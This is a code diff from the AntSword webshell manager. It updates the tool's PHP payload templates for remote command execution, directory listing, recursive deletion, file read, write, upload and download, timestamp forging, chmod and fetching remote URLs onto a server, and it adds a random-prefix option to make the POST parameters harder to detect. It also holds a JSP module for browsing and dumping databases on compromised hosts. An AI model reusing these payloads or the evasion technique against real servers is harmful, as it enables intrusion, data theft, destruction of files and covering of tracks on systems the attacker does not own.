[arg1]: "#{base64::binarr}" [arg1]: "#{newbase64::binarr}"
}, },
quote: { quote: {
_: `$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``, _: `$p=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$s=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,
[arg1]: "#{base64::bin}", [arg1]: "#{newbase64::bin}",
[arg2]: "#{base64::cmd}" [arg2]: "#{newbase64::cmd}"
} }
}) })
\ No newline at end of file
...@@ -4,69 +4,69 @@ ...@@ -4,69 +4,69 @@
module.exports = (arg1, arg2, arg3) => ({ module.exports = (arg1, arg2, arg3) => ({
dir: { dir: {
_: `$D=base64_decode($_POST["${arg1}"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`, _: `$D=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`,
[arg1]: "#{base64::path}" [arg1]: "#{newbase64::path}"
}, },
delete: { delete: {
_: `function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}`, _: `function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=base64_decode(substr(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}`,
[arg1]: "#{base64::path}" [arg1]: "#{newbase64::path}"
}, },
create_file: { create_file: {
_: `echo @fwrite(fopen(base64_decode($_POST["${arg1}"]),"w"),base64_decode($_POST["${arg2}"]))?"1":"0";`, _: `echo @fwrite(fopen(base64_decode(substr($_POST["${arg1}"],#randomPrefix#)),"w"),base64_decode(substr($_POST["${arg2}"],#randomPrefix#)))?"1":"0";`,
[arg1]: "#{base64::path}", [arg1]: "#{newbase64::path}",
[arg2]: "#{base64::content}" [arg2]: "#{newbase64::content}"
}, },
read_file: { read_file: {
_: `$F=base64_decode($_POST["${arg1}"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);`, _: `$F=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);`,
[arg1]: "#{base64::path}" [arg1]: "#{newbase64::path}"
}, },
copy: { copy: {
_: `$m=get_magic_quotes_gpc();$fc=base64_decode($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$fp=base64_decode($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?"1":"0");`, _: `$m=get_magic_quotes_gpc();$fc=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$fp=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?"1":"0");`,
[arg1]: "#{base64::path}", [arg1]: "#{newbase64::path}",
[arg2]: "#{base64::target}" [arg2]: "#{newbase64::target}"
}, },
download_file: { download_file: {
_: `$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$fp=@fopen($F,"r");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");}`, _: `$F=base64_decode(substr(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$fp=@fopen($F,"r");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");}`,
[arg1]: "#{base64::path}" [arg1]: "#{newbase64::path}"
}, },
upload_file: { upload_file: {
_: `$f=base64_decode($_POST["${arg1}"]);$c=$_POST["${arg2}"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");`, _: `$f=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$c=$_POST["${arg2}"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");`,
[arg1]: "#{base64::path}", [arg1]: "#{newbase64::path}",
[arg2]: "#{buffer::content}" [arg2]: "#{buffer::content}"
}, },
rename: { rename: {
_: `$m=get_magic_quotes_gpc();$src=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$dst=base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);echo(rename($src,$dst)?"1":"0");`, _: `$m=get_magic_quotes_gpc();$src=base64_decode(substr(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$dst=base64_decode(substr(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));echo(rename($src,$dst)?"1":"0");`,
[arg1]: "#{base64::path}", [arg1]: "#{newbase64::path}",
[arg2]: "#{base64::name}" [arg2]: "#{newbase64::name}"
}, },
retime: { retime: {
_: `$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$TM=strtotime(base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]));if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?"1":"0");}else{echo("0");};`, _: `$m=get_magic_quotes_gpc();$FN=base64_decode(substr(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$TM=strtotime(base64_decode(substr(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]),#randomPrefix#));if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?"1":"0");}else{echo("0");};`,
[arg1]: "#{base64::path}", [arg1]: "#{newbase64::path}",
[arg2]: "#{base64::time}" [arg2]: "#{newbase64::time}"
}, },
chmod: { chmod: {
_: `$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$mode=base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);echo(chmod($FN,octdec($mode))?"1":"0");`, _: `$m=get_magic_quotes_gpc();$FN=base64_decode(substr(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$mode=base64_decode(substr(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));echo(chmod($FN,octdec($mode))?"1":"0");`,
[arg1]: "#{base64::path}", [arg1]: "#{newbase64::path}",
[arg2]: "#{base64::mode}" [arg2]: "#{newbase64::mode}"
}, },
mkdir: { mkdir: {
_: `$m=get_magic_quotes_gpc();$f=base64_decode($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);echo(mkdir($f)?"1":"0");`, _: `$m=get_magic_quotes_gpc();$f=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));echo(mkdir($f)?"1":"0");`,
[arg1]: "#{base64::path}" [arg1]: "#{newbase64::path}"
}, },
wget: { wget: {
_: `$fR=base64_decode($_POST["${arg1}"]);$fL=base64_decode($_POST["${arg2}"]);$F=@fopen($fR,chr(114));$L=@fopen($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo("1");}else{echo("0");};`, _: `$fR=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$fL=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));$F=@fopen($fR,chr(114));$L=@fopen($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo("1");}else{echo("0");};`,
[arg1]: "#{base64::url}", [arg1]: "#{newbase64::url}",
[arg2]: "#{base64::path}" [arg2]: "#{newbase64::path}"
} }
}) })
\ No newline at end of file
...@@ -177,6 +177,7 @@ module.exports = { ...@@ -177,6 +177,7 @@ module.exports = {
nohttps: 'Ignore HTTPS certificate', nohttps: 'Ignore HTTPS certificate',
usemultipart: 'Use Multipart send payload', usemultipart: 'Use Multipart send payload',
addMassData: 'Add garbage data in payload', addMassData: 'Add garbage data in payload',
randomPrefix: 'Random prefix length',
userandomvariable: 'Use random English word variables', userandomvariable: 'Use random English word variables',
chunk: { chunk: {
title: 'Chunked Transfer (Experimentally)', title: 'Chunked Transfer (Experimentally)',
......
...@@ -180,6 +180,7 @@ module.exports = { ...@@ -180,6 +180,7 @@ module.exports = {
usemultipart: '使用 Multipart 发包', usemultipart: '使用 Multipart 发包',
userandomvariable: '使用随机英文单词变量', userandomvariable: '使用随机英文单词变量',
addMassData: '增加垃圾数据', addMassData: '增加垃圾数据',
randomPrefix: '随机前缀长度',
chunk: { chunk: {
title: '分块传输(实验性功能)', title: '分块传输(实验性功能)',
usechunk: '开启分块传输发包', usechunk: '开启分块传输发包',
......
...@@ -178,6 +178,7 @@ module.exports = { ...@@ -178,6 +178,7 @@ module.exports = {
nohttps: '忽略HTTPS證書', nohttps: '忽略HTTPS證書',
usemultipart: '使用 Multipart 發包', usemultipart: '使用 Multipart 發包',
addMassData: '增加垃圾數據', addMassData: '增加垃圾數據',
randomPrefix: '隨機前綴長度',
userandomvariable: '使用隨機英文單詞變量', userandomvariable: '使用隨機英文單詞變量',
chunk: { chunk: {
title: '分塊傳輸(實驗性功能)', title: '分塊傳輸(實驗性功能)',
......
...@@ -178,6 +178,7 @@ module.exports = { ...@@ -178,6 +178,7 @@ module.exports = {
nohttps: '忽略HTTPS證書', nohttps: '忽略HTTPS證書',
usemultipart: '使用 Multipart 發包', usemultipart: '使用 Multipart 發包',
addMassData: '增加垃圾數據', addMassData: '增加垃圾數據',
randomPrefix: '隨機前綴長度',
userandomvariable: '使用隨機英文單詞變量', userandomvariable: '使用隨機英文單詞變量',
chunk: { chunk: {
title: '分塊傳輸(實驗性功能)', title: '分塊傳輸(實驗性功能)',
......
//
// 数据库驱动::JSP 支持数据库: Any
//
const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
const dialog = antSword.remote.dialog;
const fs = require('fs');
class JSP {
constructor(opt) {
this.opt = opt;
this.core = this.opt.core;
this.manager = this.opt.super;
//
// * 数据库驱动列表
//
this.conns = {
'mysql': 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456',
'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;' +
'databaseName=test;user=sa;password=123456',
'oracle': 'oracle.jdbc.driver.OracleDriver\r\njdbc:oracle:thin:@127.0.0.1:1521/test\r\nuser' +
'\r\npassword'
};
// 1. 初始化TREE UI
this.tree = this
.manager
.list
.layout
.attachTree();
// 2. 加载数据库配置
this.parse();
// 3. tree单击::设置当前配置&&激活按钮
this
.tree
.attachEvent('onClick', (id) => {
// 更改按钮状态
id.startsWith('conn::') ?
this.enableToolbar() :
this.disableToolbar();
// 设置当前配置
const tmp = id.split('::');
const arr = tmp[1].split(':');
// 设置当前数据库
this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: arr[0]
});
if (arr.length > 1) {
this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString();
// 更新SQL编辑器
this.enableEditor();
// manager.query.update(this.currentConf);
} else {
this.disableEditor();
}
});
// 4. tree双击::加载库/表/字段
this
.tree
.attachEvent('onDblClick', (id) => {
const arr = id.split('::');
if (arr.length < 2) {
throw new Error('ID ERR: ' + id)
};
switch (arr[0]) {
// 获取数据库列表
case 'conn':
this.getDatabases(arr[1]);
break;
// 获取数据库表名
case 'database':
let _db = arr[1].split(':');
this.getTables(_db[0], Buffer.from(_db[1], 'base64').toString());
break;
// 获取表名字段
case 'table':
let _tb = arr[1].split(':');
this.getColumns(_tb[0], Buffer.from(_tb[1], 'base64').toString(), Buffer.from(_tb[2], 'base64').toString());
break;
// 生成查询SQL语句
case 'column':
let _co = arr[1].split(':');
const db = Buffer.from(_co[1], 'base64').toString();
const table = Buffer.from(_co[2], 'base64').toString();
const column = Buffer.from(_co[3], 'base64').toString();
let sql = "";
switch (this.dbconf['type']) {
case 'mysql':
sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
case 'sqlserver':
case 'mssql':
case 'sqlsrv':
sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`;
break;
case 'oracle':
case 'oracle_oci8':
sql = `SELECT ${column} FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
break;
case 'postgresql':
case 'postgresql_pdo':
sql = `SELECT ${column} FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`;
break;
default:
sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
}
this
.manager
.query
.editor
.session
.setValue(sql);
break;
}
});
// 5. tree右键::功能菜单
this
.tree
.attachEvent('onRightClick', (id, event) => {
if (!id.startsWith('conn::')) {
return
};
this
.tree
.selectItem(id);
this
.tree
.callEvent('onClick', [id]);
bmenu([{
text: LANG['list']['menu']['add'],
icon: 'fa fa-plus-circle',
action: this
.addConf
.bind(this)
}, {
divider: true
}, {
text: LANG['list']['menu']['edit'],
icon: 'fa fa-edit',
action: this
.editConf
.bind(this)
}, {
divider: true
}, {
text: LANG['list']['menu']['del'],
icon: 'fa fa-remove',
action: this
.delConf
.bind(this)
}], event);
});
}
// 加载配置列表
parse() {
// 获取数据
const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);
const conf = info['database'] || {};
// 刷新UI 1.清空数据
this
.tree
.deleteChildItems(0);
// 2.添加数据
let items = [];
for (let _ in conf) {
items.push({
id: `conn::${_}`,
// text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`,
text: antSword.noxss(conf[_]['type'].toUpperCase()),
im0: this.manager.list.imgs[0],
im1: this.manager.list.imgs[0],
im2: this.manager.list.imgs[0]
});
}
// 3.刷新UI
this
.tree
.parse({
id: 0,
item: items
}, 'json');
// 禁用按钮
this.disableToolbar();
this.disableEditor();
}
// 添加配置
addConf() {
const hash = (+new Date * Math.random())
.toString(16)
.substr(2, 8);
// 创建窗口
const win = this
.manager
.win
.createWindow(hash, 0, 0, 450, 300);
win.setText(LANG['form']['title']);
win.centerOnScreen();
win
.button('minmax')
.hide();
win.setModal(true);
win.denyResize();
// 工具栏
const toolbar = win.attachToolbar();
toolbar.loadStruct([{
id: 'add',
type: 'button',
icon: 'plus-circle',
text: LANG['form']['toolbar']['add']
}, {
type: 'separator'
}, {
id: 'clear',
type: 'button',
icon: 'remove',
text: LANG['form']['toolbar']['clear']
}, {
type: 'separator'
}, {
id: 'test',
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}]);
// form
const form = win.attachForm([{
type: 'settings',
position: 'label-left',
labelWidth: 80,
inputWidth: 280
}, {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [{
type: 'combo',
label: LANG['form']['type'],
readonly: true,
name: 'type',
options: (() => {
let ret = [];
for (let _ in this.conns) {
ret.push({
text: _.toUpperCase(),
value: _
});
}
return ret;
})()
}, {
type: 'input',
label: LANG['form']['conn'],
name: 'conn',
required: true,
value: 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456',
rows: 9
}]
}], true);
form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') {
return
};
form.setFormData({
conn: this.conns[id]
});
});
// 工具栏点击事件
toolbar.attachEvent('onClick', (id) => {
switch (id) {
case 'clear':
form.clear();
break;
case 'add':
if (!form.validate()) {
// return '填写完整!';
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let data = form.getValues();
// 验证是否连接成功(获取数据库列表)
const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', {
_id: this.manager.opt['_id'],
data: data
});
win.close();
toastr.success(LANG['form']['success'], LANG_T['success']);
this
.tree
.insertNewItem(0, `conn::${id}`,
// `${data['type']}:\/\/${data['user']}@${data['host']}`,
data['type'].toUpperCase(), null, this.manager.list.imgs[0], this.manager.list.imgs[0], this.manager.list.imgs[0]);
break;
case 'test':
if (!form.validate()) {
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let _data = form.getValues();
win.progressOn();
this
.core
.request(this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
}))
.then((res) => {
if (res['text'].length > 0) {
if (res['text'].indexOf("ERROR://") > -1) {
throw res["text"];
}
toastr.success(LANG['form']['test_success'], LANG_T['success']);
} else {
toastr.warning(LANG['form']['test_warning'], LANG_T['warning']);
}
win.progressOff();
})
.catch((err) => {
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
break;
}
});
}
// 修改配置
editConf() {
const id = this
.tree
.getSelected()
.split('::')[1];
// 获取配置
const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
const hash = (+new Date * Math.random())
.toString(16)
.substr(2, 8);
// 创建窗口
const win = this
.manager
.win
.createWindow(hash, 0, 0, 450, 300);
win.setText(LANG['form']['title']);
win.centerOnScreen();
win
.button('minmax')
.hide();
win.setModal(true);
win.denyResize();
// 工具栏
const toolbar = win.attachToolbar();
toolbar.loadStruct([{
id: 'edit',
type: 'button',
icon: 'edit',
text: LANG['form']['toolbar']['edit']
}, {
type: 'separator'
}, {
id: 'clear',
type: 'button',
icon: 'remove',
text: LANG['form']['toolbar']['clear']
}, {
type: 'separator'
}, {
id: 'test',
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}]);
// form
const form = win.attachForm([{
type: 'settings',
position: 'label-left',
labelWidth: 80,
inputWidth: 280
}, {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [{
type: 'combo',
label: LANG['form']['type'],
readonly: true,
name: 'type',
options: (() => {
let ret = [];
for (let _ in this.conns) {
ret.push({
text: _.toUpperCase(),
value: _,
selected: conf['type'] === _
});
}
return ret;
})()
}, {
type: 'input',
label: LANG['form']['conn'],
name: 'conn',
required: true,
value: conf['conn'],
rows: 9
}]
}], true);
form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') {
return
};
form.setFormData({
conn: this.conns[id]
});
});
// 工具栏点击事件
toolbar.attachEvent('onClick', (id) => {
switch (id) {
case 'clear':
form.clear();
break;
case 'edit':
if (!form.validate()) {
// return '填写完整!';
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let data = form.getValues();
// 验证是否连接成功(获取数据库列表)
const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', {
_id: this.manager.opt['_id'],
id: this
.tree
.getSelected()
.split('::')[1],
data: data
});
win.close();
toastr.success(LANG['form']['success'], LANG_T['success']);
// 刷新 UI
this.parse();
break;
case 'test':
if (!form.validate()) {
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let _data = form.getValues();
win.progressOn();
this
.core
.request(this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
}))
.then((res) => {
if (res['text'].length > 0) {
if (res['text'].indexOf("ERROR://") > -1) {
throw res["text"];
}
toastr.success(LANG['form']['test_success'], LANG_T['success']);
} else {
toastr.warning(LANG['form']['test_warning'], LANG_T['warning']);
}
win.progressOff();
})
.catch((err) => {
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
break;
}
});
}
// 删除配置
delConf() {
const id = this
.tree
.getSelected()
.split('::')[1];
layer.confirm(LANG['form']['del']['confirm'], {
icon: 2,
shift: 6,
title: LANG['form']['del']['title']
}, (_) => {
layer.close(_);
const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', {
_id: this.manager.opt['_id'],
id: id
});
if (ret === 1) {
toastr.success(LANG['form']['del']['success'], LANG_T['success']);
this
.tree
.deleteItem(`conn::${id}`);
// 禁用按钮
this.disableToolbar();
this.disableEditor();
// ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem); this.parse();
} else {
toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']);
}
});
}
// 获取数据库列表
getDatabases(id) {
this.manager.list.layout.progressOn();
// 获取配置
const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this
.core
.request(this.core[`database_${conf['type']}`].show_databases({
conn: conf['conn'],
encode: this.manager.opt.encode,
db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ?
conf['conn'].match(/[\w]+.mdb$/) : 'database'
}))
.then((res) => {
let ret = res['text'];
const arr = ret.split('\t');
if (arr.length === 1 && ret === '') {
toastr.warning(LANG['result']['warning'], LANG_T['warning'])
return this
.manager
.list
.layout
.progressOff();
};
// 删除子节点
this.tree.deleteChildItems(`conn::${id}`);
// 添加子节点
arr.map((_) => {
if (!_) {
return
};
const _db = Buffer.from(antSword.unxss(_)).toString('base64');
this.tree.insertNewItem(`conn::${id}`, `database::${id}:${_db}`, _, null, this.manager.list.imgs[1], this.manager.list.imgs[1], this.manager.list.imgs[1]);
});
this
.manager
.list
.layout
.progressOff();
})
.catch((err) => {
toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']);
this
.manager
.list
.layout
.progressOff();
});
}
// 获取数据库表数据
getTables(id, db) {
this
.manager
.list
.layout
.progressOn();
// 获取配置
const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this
.core
.request(this.core[`database_${conf['type']}`].show_tables({
conn: conf['conn'],
encode: this.manager.opt.encode,
db: db
}))
.then((res) => {
let ret = res['text'];
const arr = ret.split('\t');
const _db = Buffer.from(db).toString('base64');
// 删除子节点
this.tree.deleteChildItems(`database::${id}:${_db}`);
// 添加子节点
arr.map((_) => {
if (!_) {
return
};
const _table = Buffer
.from(antSword.unxss(_))
.toString('base64');
this
.tree
.insertNewItem(`database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, _, null, this.manager.list.imgs[2], this.manager.list.imgs[2], this.manager.list.imgs[2]);
});
this
.manager
.list
.layout
.progressOff();
})
.catch((err) => {
toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']);
this
.manager
.list
.layout
.progressOff();
});
}
// 获取字段
getColumns(id, db, table) {
this
.manager
.list
.layout
.progressOn();
// 获取配置
const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this
.core
.request(this.core[`database_${conf['type']}`].show_columns({
conn: conf['conn'],
encode: this.manager.opt.encode,
db: db,
table: table
}))
.then((res) => {
let ret = res['text'];
const arr = ret.split('\t');
const _db = Buffer
.from(db)
.toString('base64');
const _table = Buffer
.from(table)
.toString('base64');
// 删除子节点
this
.tree
.deleteChildItems(`table::${id}:${_db}:${_table}`);
// 添加子节点
arr.map((_) => {
if (!_) {
return
};
_ = antSword.unxss(_);
const _column = Buffer
.from(_.substr(0, _.lastIndexOf(' ')))
.toString('base64');
this
.tree
.insertNewItem(`table::${id}:${_db}:${_table}`, `column::${id}:${_db}:${_table}:${_column}`, antSword.noxss(_), null, this.manager.list.imgs[3], this.manager.list.imgs[3], this.manager.list.imgs[3]);
});
// 更新编辑器SQL语句
this
.manager
.query
.editor
.session
.setValue(conf['type'] === 'oracle' ?
`SELECT * FROM (SELECT A.*,ROWNUM N FROM ${db}.${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20` :
`SELECT * FROM ${db}.${table} ORDER BY 1 DESC LIMIT 0,20;`);
this
.manager
.list
.layout
.progressOff();
})
.catch((err) => {
toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']);
this
.manager
.list
.layout
.progressOff();
});
}
// 执行SQL
execSQL(sql) {
this
.manager
.query
.layout
.progressOn();
this
.core
.request(this.core[`database_${this.dbconf['type']}`].query({
conn: this.dbconf['conn'],
encode: this.manager.opt.encode,
sql: sql
}))
.then((res) => {
let ret = res['text'];
// 更新执行结果
this.updateResult(ret);
this
.manager
.query
.layout
.progressOff();
})
.catch((err) => {
toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);
this
.manager
.query
.layout
.progressOff();
});
}
// 更新SQL执行结果
updateResult(data) {
// 1.分割数组
const arr = data.split('\n');
// let arr = []; _arr.map((_) => { arr.push(antSword.noxss(_)); });
// console.log(_arr, arr); 2.判断数据
if (arr.length < 2) {
return toastr.error(LANG['result']['error']['parse'], LANG_T['error']);
};
// 3.行头
let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t');
if (header_arr.length === 1) {
return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']);
};
if (header_arr[header_arr.length - 1] === '\r') {
header_arr.pop();
};
arr.shift();
// 4.数据
let data_arr = [];
arr.map((_) => {
let _data = _.split('\t|\t');
data_arr.push(_data);
});
data_arr.pop();
// 5.初始化表格
const grid = this
.manager
.result
.layout
.attachGrid();
grid.clearAll();
grid.setHeader(header_arr.join(',').replace(/,$/, ''));
grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/, ''));
grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));
grid.setColumnMinWidth(100, header_arr.length - 1);
grid.setInitWidths(("100,".repeat(header_arr.length - 1)) + "*");
grid.setEditable(true);
grid.init();
// 添加数据
let grid_data = [];
for (let i = 0; i < data_arr.length; i++) {
grid_data.push({
id: i + 1,
data: data_arr[i]
});
}
grid.parse({
'rows': grid_data
}, 'json');
// 启用导出按钮
this.manager.result.toolbar[grid_data.length > 0 ?
'enableItem' :
'disableItem']('dump');
}
// 导出查询数据
dumpResult() {
const grid = this
.manager
.result
.layout
.getAttachedObject();
let filename = `${this
.core
.__opts__
.ip}_${new Date()
.format("yyyyMMddhhmmss")}.csv`;
dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename
}, (filePath) => {
if (!filePath) {
return;
};
let headerStr = grid
.hdrLabels
.join(',');
let dataStr = grid.serializeToCSV();
let tempDataBuffer = Buffer.from(headerStr + '\n' + dataStr);
fs.writeFileSync(filePath, tempDataBuffer);
toastr.success(LANG['result']['dump']['success'], LANG_T['success']);
});
}
// 禁用toolbar按钮
disableToolbar() {
this
.manager
.list
.toolbar
.disableItem('del');
this
.manager
.list
.toolbar
.disableItem('edit');
this
.manager
.result
.toolbar
.disableItem('dump');
}
// 启用toolbar按钮
enableToolbar() {
this
.manager
.list
.toolbar
.enableItem('del');
this
.manager
.list
.toolbar
.enableItem('edit');
}
// 禁用SQL编辑框
disableEditor() {
['exec', 'clear'].map(this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar));
this
.manager
.query
.editor
.setReadOnly(true);
}
// 启用SQL编辑框
enableEditor() {
['exec', 'clear'].map(this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar));
this
.manager
.query
.editor
.setReadOnly(false);
}
}
module.exports = JSP;
\ No newline at end of file
...@@ -28,7 +28,8 @@ class ADefault { ...@@ -28,7 +28,8 @@ class ADefault {
others: { others: {
